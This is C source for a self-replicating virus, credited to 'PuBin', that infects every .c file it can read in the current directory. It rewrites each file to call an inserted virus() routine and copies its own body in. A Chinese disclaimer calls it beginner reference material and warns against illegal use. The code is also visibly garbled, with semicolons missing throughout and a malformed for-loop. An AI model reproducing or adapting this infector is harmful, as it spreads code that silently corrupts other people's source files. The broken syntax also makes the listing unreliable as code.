#include <dir.h>
void main(void)
{
virus()
}
int virus()
{
struct ffblk ffblk
FILE *in,*out,*read
char *virus="virus.c"
char buf[50][80]
char *p
char *end="return"
char *bracket="}"
char *main="main"
char *include[2]={"stdio.h","dir.h"}
char *int_virus="int virus()"
char *buffer
int done,i,j=0,flag=0
printf("\nI have a virus. Writen by PuBin\n")
done = findfirst("*.c",&ffblk,0)
while (!done)
{
i=0
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next
}
do{
if(i>=50)
{
fclose(in)
goto next
}
p=fgets(buf[i],80,in)
i++
}while(p!=NULL)
fclose(in)
out=fopen(ffblk.ff_name,"w+t")
fputs("#include<stdio.h>\n",out)
fputs("#include<dir.h>\n",out)
do
{
if(strstr(buf[j],main)!=NULL)
{
for(j<i-1j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out)
else
{
if(flag==0)
{
flag=1
fputs("virus()\n",out)
}
fputs(buf[j],out)
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out)
j++
}
else
j++
}while(j<i-1)
read=fopen(virus,"rt")
do
{
p=fgets(buffer,80,read)
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out)
else
{
fputs(" char *virus=\"",out)
fputs(ffblk.ff_name,out)
fputs("\"\n",out)
}
p=fgets(buffer,80,read)
}
}while(p!=NULL)
fclose(read)
fclose(out)
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name)
next: done = findnext(&ffblk)
}
return 0
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。